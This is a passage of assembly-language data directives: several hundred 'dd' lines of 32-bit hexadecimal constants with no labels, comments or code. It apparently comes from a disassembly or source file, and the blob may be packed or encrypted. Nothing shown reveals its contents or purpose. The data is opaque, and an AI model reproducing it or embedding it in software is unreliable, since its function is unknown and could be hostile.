dd 0E489E29Ch, 0BCE5702Eh, 0F4AA6916h, 0A5082464h, 0CB9C8F18h
dd 0E18ECC72h, 16AE6C32h, 3705315Ah, 19265DFCh, 0B2640000h
dd 909B6ECh, 63B25F95h, 0B758053Bh, 0D04B1E7h, 72275B91h
dd 0E0168889h, 87BDE133h, 326836DAh, 0DA108E85h, 3497B30Bh
dd 6207E407h, 6CA745FCh, 0C64DA232h, 7E244DD8h, 0A9B7D2EBh
dd 4F4FC419h, 8340A3BFh, 0D66FFE6h, 81B3CF67h, 6507E0ADh
dd 4AFC07FBh, 0EF583904h, 0B5F721B9h, 5A44CD3Eh, 85A531E0h
dd 4FF906DFh, 7A96263Ah, 0FDAA478h, 64C8055Eh, 0FD2954E7h
dd 0B758CCBDh, 1EF75CE7h, 1EAE1780h, 1E28B4DEh, 726B1E6Bh
dd 6C9658CCh, 63BC0523h, 96CABFD8h, 0A765EA06h, 0AB000299h
dd 81AA3569h, 0A93992DBh, 78FF1469h, 2955F95Ch, 65CE27FDh
dd 5E0BB1DAh, 6B3E9B5h, 0E9D3910Dh, 5264DB1Ch, 185A7817h
dd 0E6300000h, 3DD582B8h, 977E2B61h, 0EB24D107h, 41D07DB3h
dd 3EF3275Dh, 0ACE2BC55h, 538915FFh, 0FE346AA6h, 0A6DCC251h
dd 637FD7h, 2607E408h, 6CA709C0h, 0FB8EA732h, 732BE93Eh
dd 0E683A407h, 0D73DD2FFh, 0AA133CC7h, 4771B141h, 0E134531Ch
dd 0B8DF43BDh, 23198D33h, 6007E0DAh, 8BA10420h, 76CF07E0h
dd 0F82E87D0h, 2C5D071Fh, 8688A434h, 2C0FDA91h, 8C3296D3h
dd 2293AF89h, 4D69F967h, 9BA9848Bh, 0B1ED22B7h, 4C52C126h
dd 0C62F98C1h, 0F967223Bh, 0AEC84D69h, 9DF69C13h, 435BB80Dh
dd 0A34B750Dh, 0BFD8E6E8h, 3AD9862Ch, 0F90AA664h, 0E01B0A51h
dd 17A341h, 6F2FE700h, 18868C39h, 0BEE035E2h, 6A34DB88h
dd 148A8734h, 0EF5AADEh, 0B8659B03h, 5F0C425Ch, 0AB7EDB1h
dd 905F9509h, 9B91C38h, 81E707E4h, 326CA7CAh, 65FB8EA7h
dd 264B9D5h, 197207E4h, 0C1DD3489h, 0CF670D36h, 4AC9997Ah
dd 37A0C954h, 0A1C152A7h, 769F2A74h, 0B529670Dh, 7E402E2h
dd 75ABB5D8h, 0C3534BC8h, 0ED7DAA99h, 19F7EADFh, 9C771C85h
dd 0BD1E5C02h, 0E80494CCh, 0FE16393h, 0A8F61D72h, 54EF41Dh
dd 0B2DC1CACh, 61CE188Bh, 410B581h, 40E60F9Ah, 0E91F7F93h
dd 3DC8D63Ch, 0A5633BD8h, 99993833h, 0F536D510h, 95000016h
dd 3AE71D81h, 0E390C6D8h, 89366C32h, 35E21886h, 588CC2DCh
dd 4955BCA3h, 0F0AE6613h, 9B030DBAh, 435BB865h, 0CAE63E0Dh
dd 7E40967h, 0BC70278Dh, 98F85592h, 0F1DF7h, 2E8F359Eh
dd 3575055Bh, 0DBB6980Bh, 42E8E894h, 0E46179CEh, 11FF5407h
dd 99EE78Dh, 9B2B940Ah, 41D1CD46h, 0A382E501h, 57B007E3h
dd 7B1273B1h, 0E23955E5h, 0F007E3A3h, 7AE00C97h, 8407E3A3h
dd 0A424903h, 0A84071ABh, 68h, 8A9AF339h, 5F88138Bh, 1C3C66F6h
dd 188A5F5Ah, 0AB8857CDh, 477AF331h, 8EED09A1h, 0ACFFE774h
dd 359CC853h, 3FFFE774h, 0C5FD04BEh, 6338757Ch, 34h, 837AE0F4h
dd 2F59FFE6h, 1976E633h, 66C76DB4h, 6DAD3D23h, 0E6ACEE51h
dd 15BB14FFh, 0CE13617Dh, 0B60F07E0h, 74BCFC26h, 772A23FFh
dd 0A6FB93D1h, 0D2892F6Fh, 3ACA96F3h, 0E0AD8C1Eh, 36C11A07h
dd 0F12042D1h, 610E44ADh, 1161ECB2h, 0AC52B5D1h, 0EB8007E0h
dd 0C3EC7727h, 0A07B45Ah, 77B00994h, 283AD9BDh, 1248B1EDh
dd 65F0AE65h, 93233D4Ch, 0DAC30D77h, 0DC358A0Fh, 7AD31CC2h
dd 0FB7C9744h, 0C23C9FBBh, 116AFFE6h, 0E6C242A5h, 931937FFh
dd 0FF4DAB5Ch, 71FC65BEh, 1DEE0145h, 3085D578h, 9213B9E5h
dd 7F1FF4D8h, 27779C49h, 0C6D8379Ch, 77DAF636h, 9D781CE6h
dd 790B9E44h, 75A00F39h, 4B60F7E3h, 866A24A5h, 6BCEEA8Dh
dd 35781D5Ah, 2982C3DBh, 9DF28AC0h, 749D2876h, 85F221CEh
dd 1D5A0669h, 6AD32C78h, 138B85DAh, 26B95F88h, 54E47C0Dh
dd 4C52BF14h, 76CC32A6h, 0A1FA8017h, 4955BE6Bh
dd 0E3BB59BEh, 0CC6FF58h, 378CEB28h, 0C35C0DEh, 0B34E3DA0h
dd 0A10A637Fh, 4955BE6Bh, 7CE4A5BEh, 217D97ECh, 2FC76D96h
dd 0AD639513h, 86A2E287h, 781D6223h, 737EF851h, 0ED57B63Dh
dd 63BC05ABh, 0B93802Dh, 0E5ED5480h, 80D8881Ch, 0E54CB56h
dd 0CC72771Eh, 82C2914Bh, 1D700366h, 5ED83168h, 0D924F8E1h
dd 0DA872DC0h, 822F6539h, 0BB72FF8Eh, 0D1F37DB5h, 638DDD68h
dd 0E288C845h, 0E3903605h, 0C9E5702Eh, 16FADE98h, 6BA55288h
dd 405EB70Ch, 0BD208CB5h, 0E3681CFFh, 3196218Ah, 0DC35C0DEh
dd 0B2DB378Ch, 0F6C35F80h, 56E14AABh, 4C06872Dh, 7CE5A868h
dd 0A0C3BFBAh, 86B8717h, 2E681C9Ah, 9E366CD5h, 940A095Eh
dd 1174E009h, 3F681C9Ah, 7D9340E6h, 9A7BDEFAh, 50A9681Ch
dd 46435CE7h, 9A74D7F3h, 49A2681Ch, 0E61050E0h, 7469BD26h
dd 0AE22C803h, 7017261Ch, 54E671CAh, 838D712Bh, 0F84DE51Bh
dd 0CEF7821Ch, 6987B28h, 65FD167Bh, 3D66F1ADh, 451A44D4h
dd 0E7B75DD1h, 0F9B9335Ch, 14A74D87h, 290DC7F8h, 0FA24B4EAh
dd 32DF14C7h, 0DCA7F26Ch, 0D655B8D4h, 227B6FB2h, 5D513B9h
dd 0A840E2CDh, 176Bh, 69A7FC00h, 0F891AA35h, 0C6BCD868h
dd 1407E098h, 289E85BBh, 37000000h, 0F0AE67BCh, 0E9963C65h
dd 0D3EC7727h, 0FE1AAAB6h, 7E099E4h, 4C199802h, 0F4DBC75Ch
dd 0E0D575D8h, 0D9429B07h, 7B833A70h, 90D0B963h, 89E2E400h
dd 3BD007E0h, 153EC9D5h, 4AC71CACh, 0E169AE54h, 892285A1h
dd 28EC07E0h, 81C2EB76h, 108E8328h, 42B65C85h, 0FC93A0DFh
dd 34C49CEDh, 299D5618h, 2AE77CFBh, 267B0B74h, 5F86A1ECh
dd 27D4D3C9h, 640A33BEh, 8FD1B8D1h, 95EE3FFh, 2F88FC94h
dd 0D5C94A9Fh, 7D21F29Fh, 0D0BE3FBFh, 46E5206Ah, 1344h
dd 98CED046h, 417727EBh, 0E71D8194h, 93C9D53Ah, 3D732BE6h
dd 0A66B5409h, 0FF15C2F8h, 54BC699Fh, 0AC67144Ah, 95EDBCF2h
dd 0E40D1679h, 1FD63C07h, 0E6847DE0h, 62FE8BFFh, 0B3FCB6D2h
dd 91EA07E0h, 3A64AC01h, 0E5B95704h, 801EF55Ah, 63E130C2h
dd 3FDE199Eh, 12ECh, 0F026789Eh, 99CFCF43h, 3F7529ECh
dd 0EB217D92h, 95CBD33Eh, 4EC3AC61h, 0A76D1A50h, 0FC14C1F7h
dd 54BF6CA2h, 0ED45144Ah, 0E40D6ED1h, 772E9407h, 3ACA96F3h
dd 0E0B3641Eh, 99298207h, 9AD0CE44h, 0EE7925EDh, 89148A89h
dd 0B362B7F7h, 0B245A8C4h, 126B07E0h, 0C88203A9h, 365F2EE4h
dd 0E26A79F7h, 85C555BEh, 0E0DB0669h, 7B972C07h, 0FD15BA23h
dd 0E4BDFBA1h, 0B5537E1h, 0BDE131CEh, 5759032Dh, 50076A86h
dd 0D42D07E1h, 1C1FC85Ah, 6993E376h, 921B85D8h, 0CC40E657h
dd 7E15166h, 5726E061h, 0E58B1302h, 8EC4DA38h, 2D71A1F6h
dd 3F38DA87h, 0E151C023h, 4A66E607h, 7E150E7h, 0E24BB40Dh
dd 154B3E57h, 0CFF46985h, 89E20FDEh, 3A9DB9F9h, 68FFEE33h
dd 7CD1690Fh, 37770797h, 0EE33B81Bh, 0CB49DEFFh, 86C46AD3h
dd 2F92AEEEh, 55FFEE33h, 6AA956FCh, 0F990A934h, 0C3BBD767h
dd 2307EBB1h, 0CA103ACAh, 0BC8D0DDDh, 0B53B9EBAh, 106907E0h
dd 146901A7h, 0BC699FFFh, 62B74757h, 0B447EDB1h, 0E272EE9Bh
dd 47C178A2h, 84C23004h, 0E4086ADEh, 0D52E0FDAh, 99DE6317h
dd 8A296499h, 11ACh, 306638DEh, 0D90F8F83h, 7FB5E92Ch
dd 2B613DD2h, 0D50B937Eh, 0E03ECA1h, 67AD5A90h, 0BC540137h
dd 14FFACE2h, 2D85548Ah, 0E40FAE11h, 0B76ED407h, 0E68386E0h
dd 0C6D838FFh, 65A2F90h, 16A5A76h, 26C07E4h, 0C1DD99B0h
dd 7E3935Eh, 29B12B84h, 3CD87D93h, 45AED762h, 0E9B560B5h
dd 67BCFCB3h, 8050F6A8h, 37F48348h, 0AC90052Fh, 0A63EA1BDh
dd 0B64FF66h, 3A0CE691h, 1C0B394h, 0BC440000h, 4CF40992h
dd 3FE5C091h, 7B6ACDEh, 0E73C7CBCh, 0A104702Eh, 0CFFFE683h
dd 0F65CD076h, 2FFE682h, 0D0459E9h, 0BC34EB91h, 4413D35Dh
dd 8385E804h, 52ABFFE6h, 9CF3F5ACh, 3BDA15C4h, 0F4AA67BCh
dd 399A4069h, 2C811153h, 52EB9E5h, 680FA85Fh, 74833C84h
dd 47CE2337h, 0FDA3CC57h, 3D1Ch, 92BCAD00h, 0C1F858B5h
dd 0E6F15BDh, 0BC38E781h, 4CF2AC67h, 833298B4h, 760FFE6h
dd 0B81B3777h, 0DEFFE683h, 0BC28DF85h, 306EA75Dh, 0BC4AA981h
dd 0AC2C6992h, 4FF58CA1h, 3868h, 7CBC0100h, 0E682FD60h
dd 24CA23FFh, 0E594CCC3h, 833AA0BCh, 0D919FFE6h, 0E6835ABDh
dd 0B3EB24FFh, 65BEFF28h, 8C3B54BFh, 7B527CBCh, 0DD56BECAh
dd 0A74D04AAh, 0A981306Eh, 833C844Ah, 6BDA3774h, 8A000000h
dd 83CB2E4Ah, 64F9FCE6h, 0E389F2ACh, 0A099F32Ch, 0E6832184h
dd 81E400FFh, 0AFFFE683h, 53BC1556h, 0FCA26EC3h, 0EBA24871h
dd 0F2AC67BCh, 983E67h, 0E6837EE4h, 102CACFFh, 0FFE683ADh
dd 81117AD3h, 0C76CAF57h, 9CC5504Eh, 0B04C6D22h, 0A6B0806Dh
dd 0EB91FAF1h, 0A75DBC34h, 4EA3336Bh, 264FDAC4h, 4AA9C980h
dd 536Dh, 67BC0600h, 4069F4AAh, 1153399Ah, 3C7CBC62h, 0E683BD20h
dd 0E48AE3FFh, 0E6830A70h, 4EFD16FFh, 6BA75DBCh, 206F1EF7h
dd 42C6316h, 9D721780h, 0B3089801h, 8C120260h, 0E46FD801h
dd 0A95E15BBh, 43FD3F69h, 4AA30740h, 0EC663B12h, 96797161h
dd 42F99F08h, 12F892BCh, 9E3F4A3Bh, 0FE3411F8h, 9FC9FFFFh
dd 8A885B70h, 0D4AD9A14h, 0D2698701h, 0BAB166ACh, 96F35D14h
dd 0DAF6818Eh, 0FFE68377h, 50DB449Dh, 22C6AD27h, 0F30D9F09h
dd 89DEFA8Ah, 9307E486h, 8180AA3Ah, 4571C40Dh, 0FE7CAAB4h
dd 0C16F6D84h, 0E52E831Bh, 6B2283B9h, 92565F5h, 7E468A6h
dd 35CD73CCh, 0E468B619h, 45638D07h, 0E8398880h, 459EE78Dh
dd 0E12D8EBAh, 9B3307E3h, 0ED68AA71h, 0C116BCEh, 11674F07h
dd 66AD52BBh, 0DE84AD38h, 649CA35Dh, 2407212h, 32h, 8379E093h
dd 0D043FFE6h, 0AB0098CEh, 1B8F3569h, 0FFE683B5h, 10A0C0C9h
dd 0E08AD6F4h, 0B260B507h, 0A4FD46ECh, 4955BF14h, 0B1EF95BEh
dd 0B0CAh, 96F36300h, 4C1E3ACAh, 5A07E0A4h, 0F41C7101h
dd 0BEDA1AAAh, 7E0A35Bh, 4C8A3089h, 0ECB25FB4h, 7E933861h
dd 0C66C9520h, 1CA7F719h, 4ADA8603h, 0DE22C12Eh, 32C21B0Fh
dd 356B33DDh, 8B168888h, 0B9491772h, 0EB59929Dh, 997B1007h
dd 0CC0C9C05h, 77029C77h, 6565223Dh, 0DC4564F1h, 0D88A8936h
dd 0B7E72939h, 0F9A032Ch, 98ED7DE6h, 6F98237Bh, 35DE8BC9h
dd 14DDAB69h, 0B3EE9E63h, 0E4314h, 0CFCF4700h, 7826EC99h
dd 1E809542h, 0CAD43BE8h, 742AE794h, 6E550A3Eh, 18C5FBA3h
dd 0BF6CA2FCh, 6A174D51h, 0F0BFF5A9h, 12197C98h, 0E14707E4h
dd 326CA72Ah, 91D142A7h, 22B21B83h, 0B15747CDh, 7ABA021Eh
dd 83BB1E3Ah, 90E9FFE6h, 0E683C124h, 0F096EFFFh, 42D1B56Fh
dd 1E56265Ch, 0BC38748Bh, 3Dh, 0CA96F34Dh, 70A5FA3Ah, 6395201Dh
dd 0B82146CDh, 0EA5E042Dh, 7E14928h, 0C52AB50Eh, 0AA0D294Eh
dd 0D807E138h, 33E0167Fh, 1A33BEE0h, 4561F16Fh, 0FDB5873h
dd 61B6469Fh, 644EAB4h, 336BA74Fh, 0D7C74EA3h, 65BF331h
dd 3DEA900Eh, 0E439C9D5h, 0C0DE3230h, 18A30C35h, 8AB649EFh
dd 0FFE6832Eh, 0F2821CF4h, 9929759Dh, 0E6831A7Dh, 49EF48FFh
dd 81DFAA0Bh, 1F2D5F1h, 0C72007E4h, 78DBF737h, 9E07E401h
dd 0C7079F45h, 8530429Dh, 0FEA4F650h, 0A4DAC451h, 0AD67BCEDh
dd 437B4BF1h, 2A37F483h, 0D35E40D5h, 962304AAh
dd 0B4000001h, 1AC997F3h, 0F6A867BCh, 369CB850h, 42FFE683h
dd 7CBC7A29h, 83BD203Ch, 8AE3FFE6h, 92BC2DE4h, 4417AFD4h
dd 71F298A0h, 9CF3C3B1h, 3BDA15C4h, 18C799F3h, 3C84680Fh
dd 23377483h, 8364C7E3h, 3992FCE6h, 52B293h, 0F3430000h
dd 0BC15C49Ch, 6AF5A967h, 28769C41h, 36CE749Dh, 0E683B41Ah
dd 0D33E93FFh, 711740CBh, 0E37F9328h, 0BAE36E30h, 0D9DC651h
dd 0E6838EF1h, 0F25BB4FFh, 0A75DBC43h, 0BC81306Eh, 4BF1AD67h
dd 1D3660A0h, 281960C5h, 57C0DE31h, 476DFAB1h, 6000000h
dd 12B39CF3h, 63F855C0h, 0BC34E34Ch, 0E6833AA0h, 2BEF19FFh
dd 0D2CC4312h, 4D2CF958h, 74233CA7h, 67BC5DBCh, 3C65F0AEh
dd 7E247A97h, 0AB5A44D1h, 0D42969A9h, 8FF25E40h, 0B5FFE683h
dd 56D6134Bh, 0C12A82D6h, 67BC641Bh, 7B4BF1ADh, 37748333h
dd 5CD1h, 99F36200h, 0F212AFB6h, 0CA44DBF0h, 0BA4C6F09h
dd 0F6A50E1Eh, 0A02D92BCh, 0B1C95D70h, 0DE33730Bh, 0B6DF6A34h
dd 0C2369C10h, 0E464FFE6h, 0E6C265C8h, 0C9328BFFh, 0EF92BC1Ah
dd 190D3255h, 0C423BB61h, 12226BA7h, 0C6A2554Ah, 0A9DE8DF6h
dd 0AA0D2969h, 0D8FFE683h, 6D22D97Fh, 43h, 0C799F306h
dd 3AA0BC18h, 19FFE683h, 14FFD1EFh, 0AF551401h, 0A8C40444h
dd 0FFE70D45h, 43A6126Bh, 71FFE70Dh, 9E7318h, 5DBCE897h
dd 273492BCh, 5EFA0A77h, 0F34FB2CEh, 1C75FFE6h, 5549C976h
dd 6D4AA9A6h, 0FFFFFE55h, 0CA96F306h, 6BA5FA3Ah, 0C4198D33h
dd 0D207E402h, 7F94E979h, 0FC51E91Fh, 80E18717h, 0A7C3530Dh
dd 7E40244h, 6C32DD72h, 0C7524CC7h, 7EAA359Eh, 7E4021Dh
dd 0DB368B23h, 690F38C3h, 0A5F2EE8h, 0E40D9806h, 0A366E3Eh
dd 17D44072h, 65000000h, 0E68379E0h, 0F0358FFh, 35DB048Fh
dd 0DD138B88h, 0D5F6h, 96F38F00h, 0A5FA3ACAh, 821CF36Fh
dd 0BF658E19h, 0E0A55D4Bh, 0DEFA3A07h, 7E0A57Bh, 61AA50A9h
dd 0CE5945CCh, 57AC3CA5h, 8FE8D4B9h, 4AF9F62Bh, 12FEABE1h
dd 53DEC050h, 1D36C12Ah, 4864F46Ch, 0FDE71DFh, 0DC1CAC05h
dd 911D809Ch, 0EA43FFEDh, 335EF070h, 741A75C6h, 0F61949C7h
dd 8BF41DA8h, 3668A855h, 40315BABh, 82D08309h, 6C1D7E24h
dd 995D56E3h, 59C2F16Eh, 62A2ADC9h, 0AB4007EBh, 86AF3A64h
dd 0DB388D1Dh, 0A9128C87h, 5ABDD919h, 8807E0A2h, 9E4B892Fh
dd 8B6B2975h, 0A49E63D0h, 0A96CA69h, 22F40000h, 7999467Ch
dd 0D342EF25h, 27E895CBh, 7D944177h, 2B7EB21h, 70A6F819h
dd 174D51C3h, 0C2F8A66Ah, 6AA0FE15h, 0C427439Bh, 0F207E416h
dd 6CA7D58Ch, 0D142A732h, 0F52642CDh, 0BBBC573Bh, 0E6833C9Fh
dd 0A8116AFFh, 8B6AA272h, 40083874h, 99000000h, 858E96F3h
dd 420B019h, 7E088B2h, 97FC87E0h, 54EC227Ch, 0B12E6E2Ah
dd 8126BDD2h, 0B7640A94h, 9EB7425Ch, 0C9E575EBh, 0FDAD9DBh
dd 0DE1EAE07h, 0E6995FC2h, 872C85FFh, 628B1688h, 0A7C77EBCh
dd 65FD336Bh, 149FFF10h, 77D145EBh, 3CFFE683h, 94095112h
dd 852B06D7h, 306638D8h, 16A6BACFh, 593916ECh, 8F0936B5h
dd 9B6A7A27h, 0B149EF1Ch, 0E494BD95h, 0CF459A07h, 751B44CFh
dd 343D32Ch, 7044A7C3h, 197207E4h, 4F4FC673h, 0E72C8119h
dd 845A11B7h, 37F4834Ch, 155EAh, 8B709A00h, 7B86CE8Ch
dd 0C22B739Eh, 97F3651Ch, 0A0BC1AC9h, 0FFE6833Ah, 7B23F146h
dd 5DBC6312h, 0F32513D3h, 0DA15C49Ch, 0AE67BC3Bh, 0A3E94AF0h
dd 680F12C1h, 74833C84h, 48DA37h, 0F36B0000h, 0BC15C49Ch
dd 0E6833AA0h, 4EC419FFh, 948BC550h, 4D09D776h, 54EF45Dh
dd 5DBCFDACh, 0A0306EA7h, 82E14460h, 7A0FFFE6h, 0F79D0698h
dd 2969A940h, 0E683AA0Dh, 806ED8FFh, 0B2E2C36Fh, 7027CD36h
dd 466Dh, 9CF30600h, 7CBC15C4h, 83BD203Ch, 8AE3FFE6h, 830A70E4h
dd 0BFE9FFE6h, 0EB946351h, 2B8F2EAEh, 0E6C592D2h, 536CD77Dh
dd 0A75DBCA4h, 0BC81306Eh, 82FD607Ch, 50BFFFE6h, 599AC34Eh
dd 1E6B8600h, 0C62572AEh, 84167520h, 3774833Ch, 3CDAh
dd 7CBC6B00h, 4AB6E827h, 0FFE682E7h, 0AD0EB40Dh, 0BCD685DFh
dd 6E4527Ch, 0D7E98327h, 0E257BD31h, 2A83FFE6h, 0A75DBC7Bh
dd 0A984336Bh, 4A6D4Ah, 0E5250000h, 0E68366C9h, 8D338CFFh
dd 527CBCD6h, 38EDA4Bh, 88EB5753h, 0AEFFE74Ch, 3E4EAF55h
dd 7CBC7524h, 0E732A452h, 0CA444BF0h, 0A4BBE08h, 44B85EEEh
dd 0FFE6E6DEh, 0BC22D1EAh, 0AC39527Ch, 0F1889D7Ch, 6BA7944Bh
dd 4AA98433h, 0FFFEA26Dh, 96F306FFh, 832487A3h, 0F952FFE6h
dd 8FE40090h, 0BD07E402h, 947FD464h, 0A11B74F9h, 0E4142285h
dd 7DF75007h, 0C9326CDEh, 9FBBFB93h, 7E4663Ch, 0A6B116Ah
dd 314DDD83h, 7E466CEh, 0DBC350A5h, 38812750h, 0C72854DFh
dd 0C907E466h, 6ABF8E48h, 8050F6A8h, 40726E48h, 10E6h
dd 79E07700h, 43FFE683h, 0B198CED0h, 0C0h, 0CA96F34Ah
dd 755C103Ah, 4666F29Fh, 73C808A0h, 0B85AFF9Fh, 9ACC40E6h
dd 0C807E17Fh, 0BAB5DF6Fh, 0F021FDC8h, 5A44D075h, 49C71CB4h
dd 0CCAC8944h, 167FC32Bh, 0B0DD33E0h, 69F0A7ADh, 0C954BD56h
dd 0F787D9B0h, 0DF9B8DB7h, 0A77953DEh, 0F1288D01h, 0B2070FDEh
dd 60C53F5Fh, 0B3E3A314h, 0EF489137h, 98060A5Fh, 1C5BB562h
dd 0EDAD9D00h, 16AC3FFh, 342C5D76h, 257D88A4h, 0CA2307EBh
dd 702EE53Ah, 18868D3Ah, 639D805Ah, 0AF4E899Eh, 758h, 84BAE432h
dd 2D633BD7h, 0D3099580h, 7FB5E926h, 295F3FD2h, 0BA5740F5h
dd 1301AEE4h, 68A8558Bh, 0C0530036h, 81D9A8DEh, 0E4190265h
dd 13CA3007h, 0A7326CA7h, 42CDD142h, 0DF6A34DDh, 7A05997Ah
dd 5D05BFE8h, 3216D001h, 0B787BDE1h, 38748F7Fh, 271Dh
dd 96F3AE00h, 7C1E3ACAh, 2A07E0A0h, 0A1F646D1h, 7AA32E70h
dd 9EF960D4h, 820307E0h, 0AB89C1C8h, 4227406Eh, 0B8000000h
dd 3ACA96F3h, 0E08EAC1Eh, 7E96EB07h, 0D8317A20h, 27D3FD4Dh
dd 78D86A87h, 1D809C2Ch, 4307E172h, 7C9744EAh, 0D43FEC22h
dd 63263FCAh, 0ED2D6DFDh, 0E1726ED1h, 953B9407h, 0DB91EF21h
dd 649AF30Fh, 0B55F7BADh, 7F1D7BD4h, 0FEF1AA60h, 53091084h
dd 0D63F54EBh, 55282A46h, 0FF3F07E1h, 0E15080E3h, 211A607h
dd 7FE8119Ch, 5070D3EFh, 3D9607E1h, 0B8F54E97h, 579A9454h
dd 81DFAAC8h, 1313D5F1h, 0E63FCF6Dh, 0DD47425Bh, 6FFF6836h
dd 574CCE53h, 0F9FF8C8h, 0B54559BAh, 60EBB360h, 0A6539137h
dd 0B773316Dh, 985E157Ah, 62EBE5Dh, 0BA5C0000h, 1101AEE4h
dd 6BAA578Dh, 0BF50FD33h, 15FCA9DFh, 6A1F5389h, 0D80E9081h
dd 7FB5E92Bh, 2A603ED2h, 0D208967Dh, 2C8FAB03h, 5A07E41Ah
dd 92BC3DF4h, 48A71364h, 49F69CF1h, 1A44D4CAh, 11B6A573h
dd 2CBF65F3h, 573F4EC7h, 0FAA46F03h, 3B66E780h, 4E3B9CD2h
dd 606CCFEBh, 419AFFE7h, 0C72C48D8h, 0F507E4DFh, 69AC119Ch
dd 6DB17735h, 57929E64h, 5B7B8h, 5B43D300h, 49A7825h, 0AAF421CEh
dd 5648C774h, 9E7320h, 0FAE196CAh, 0A4518717h, 4BF82E70h
dd 0F6A3D9C5h, 7C4B811Dh, 1BA50824h, 65CB07E4h, 607CBCAEh
dd 0FFE682FDh, 0F6E6B923h, 0E6349229h, 1376D77Dh, 38A1BD4Dh
dd 5F07E4ADh, 58A0031Fh, 5CC607E4h, 9C15A3D2h, 0E287F0CAh
dd 82CB712Dh, 0DC399E29h, 8E3404C2h, 0DA159E64h, 5473Bh
dd 0CBD34300h, 742AE895h, 1A84913Eh, 0C6D837E4h
dd 702EE390h, 6A51063Ah, 14C1F7A7h, 0BB689E00h, 66134955h
dd 0ECBBF1ADh, 1B157894h, 0D53B07E4h, 607CBC1Eh, 0FFE682FDh
dd 0C324CA23h, 0EE0A9AC6h, 7E40281h, 4DB0CC0Ch, 2407E401h
dd 0E401A508h, 3172CB07h, 90E932D8h, 2975A005h, 64B1D96Bh
dd 9837729Eh, 4E0h, 0FC326CAAh, 0A5DBC34Fh, 4B811DF8h
dd 0F72D719Eh, 0A1D7C74Ah, 42CFB86Dh, 9B79265Ch, 0F020CD03h
dd 48CB78AEh, 0F9512056h, 0E41C7ADDh, 8B42A807h, 0A2326CA7h
dd 82E34662h, 66ADFFE6h, 0F89EF738h, 55C01565h, 0EF95BE49h
dd 42CDD142h, 12F6B0E9h, 0EBB36101h, 98CE3760h, 0EB7628EBh
dd 0E68359BFh, 0ADF121FFh, 4658BD22h, 460029BBh, 68922A9Eh
dd 0D63D0E25h, 9A143DC8h, 36DCF588h, 0FC17FBB5h, 0BAE812A2h
dd 2D87FD46h, 5FF735DBh, 0D3A39035h, 0F59B1747h, 48D3CB48h
dd 306EA3F8h, 6836DD8Ah, 0E428AED8h, 9445406Bh, 0C318B0EEh
dd 0D4D24C52h, 0CA0D1736h, 2F5ABB61h, 0EB85A131h, 9707E0EDh
dd 2087B33Eh, 2A07E0EDh, 0B0E8EFA9h, 4E406EF5h, 2Fh, 0A396F3DFh
dd 0E6832487h, 20E419FFh, 0C3056F27h, 30C02982h, 0E1174614h
dd 70FB5407h, 0E0E5DD44h, 0AC66E707h, 6EF26DA5h, 0C80B40h
dd 0A79C0000h, 42A7326Ch, 0FF3FCFCFh, 0E68380E3h, 0CFCF42FFh
dd 0FC8F358Eh, 97227C97h, 87BDE132h, 0E687EF13h, 0ADE033FFh
dd 0D5FBB8B8h, 8AC02987h, 0DD6836DDh, 0B9BC5C4h, 5C6019E1h
dd 635F821Ch, 41D0A611h, 0FD16BB24h, 47ED16A1h, 50AD93AFh
dd 80D907E1h, 0C0A0E94Ah, 13381430h, 0D660FDEh, 0B7E7287Dh
dd 0C55D032Ch, 0C7FDA170h, 6480F71Ah, 0FFECD201h, 237B9A2Fh
dd 9D066F98h, 9F807BDFh, 2A1DC99h, 358h, 84BAE432h, 2D633BD7h
dd 0D3099580h, 7FB5E926h, 295F3FD2h, 0BA5740F5h, 1301AEE4h
dd 68A8558Bh, 0C0530036h, 81D9A8DEh, 0E41D0265h, 13CA3007h
dd 0FE346AA7h, 4CDCC251h, 0A8F06522h, 5E046EB0h, 96F36920h
dd 2DE53ACAh, 1733CB71h, 7E09C49h, 0F2FDDC06h, 7FEC2B40h
dd 0AC3790D9h, 0E0E51980h, 722CE307h, 0E9082E7h, 0ACF21E83h
dd 8F37F11Ah, 20EFA92Ah, 97E154F6h, 0DF856831h, 6F6CD70Fh
dd 0D27540h, 0A7060000h, 42A7326Ch, 1844CFCFh, 0FFE687F4h
dd 93C9D53Eh, 2F6FA6FBh, 28D57BA4h, 59977EBh, 0A5C1517Ah
dd 0FFE68742h, 1EAE1770h, 0AC524CC9h, 0D7890019h, 9D452B47h
dd 187107E0h, 560E5E88h, 0AC5B5851h, 2267C806h, 5792AE3Eh
dd 6D0FDE33h, 0D6613DD8h, 74B444ADh, 0A36EF41Fh, 0DE4770FBh
dd 0D7842A53h, 0BE213D3Ah, 0E4FFEC91h, 90E54864h, 0B20BFFECh
dd 0FDAAE049h, 62CC8A14h, 0BF999FC1h, 24EE584h, 0DA3C0000h
dd 31E18EC4h, 8B8A376Dh, 0DF30DD13h, 35DC89BFh, 4AFF3369h
dd 0B8EEB061h, 5F95090Bh, 0A405EB2h, 0B2E8B65Dh, 0C6F8BE3h
dd 3A07E41Eh, 6AA71DD4h, 0C34FA434h, 4AF735DBh, 79FD5C9h
dd 0EFBCBDDh, 1452F60Fh, 9C5F5737h, 0EDA44AB3h, 0D1DB92BCh
dd 0CCCCB41Eh, 0A2CB5648h, 2DE69339h, 9281E671h, 1475D60Ch
dd 0FEA0BC4Ch, 5507E0E2h, 248AE12Bh, 8C321ADEh, 335FEA43h
dd 7E114CCh, 949B55D6h, 406F1C5Ch, 42FAh, 96F38B00h, 0DEFA3ACAh
dd 0FFE6837Bh, 12AA50A9h, 1B46A8D2h, 0F0CF9C89h, 0D0B8D64Ah
dd 8DE607E0h, 0C46FD602h, 0F87907E0h, 0CFFF373Eh, 229D406Eh
dd 4D000000h, 4658B80Dh, 0C32692BBh, 0F107E0B8h, 0E03BF298h
dd 0FFE6837Ah, 0D767F990h, 0E0AFB9BBh, 8EC41D07h, 0CA96F3D7h
dd 0B7A41E3Ah, 0D84207E0h, 5F1A57D7h, 0BF4AB39Ah, 0E0932C93h
dd 0FBB53607h, 0C3DC022Ch, 8F333B1Fh, 33E119E9h, 227F406Fh
dd 10000000h, 0E68379E0h, 66FA8FFFh, 0AFB8BAD6h, 8FCF07E0h
dd 0E0AF1073h, 37DD3607h, 0E8B659EEh, 95CB345Dh, 0CA96F3DEh
dd 2A91E3Ah, 0DA3307E4h, 591EF54Ah, 8930B04h, 11073DFh
dd 0DD3607E4h, 82913E74h, 1178911Ch, 1A90C28h, 7ED707E4h
dd 71698515h, 550FE17Fh, 0FC176CFCh, 54BF6CA2h, 499F0639h
dd 0A10AC2B6h, 0A79CE711h, 35F6E1DFh, 0A6E3FC8Fh, 0AC0E2ABAh
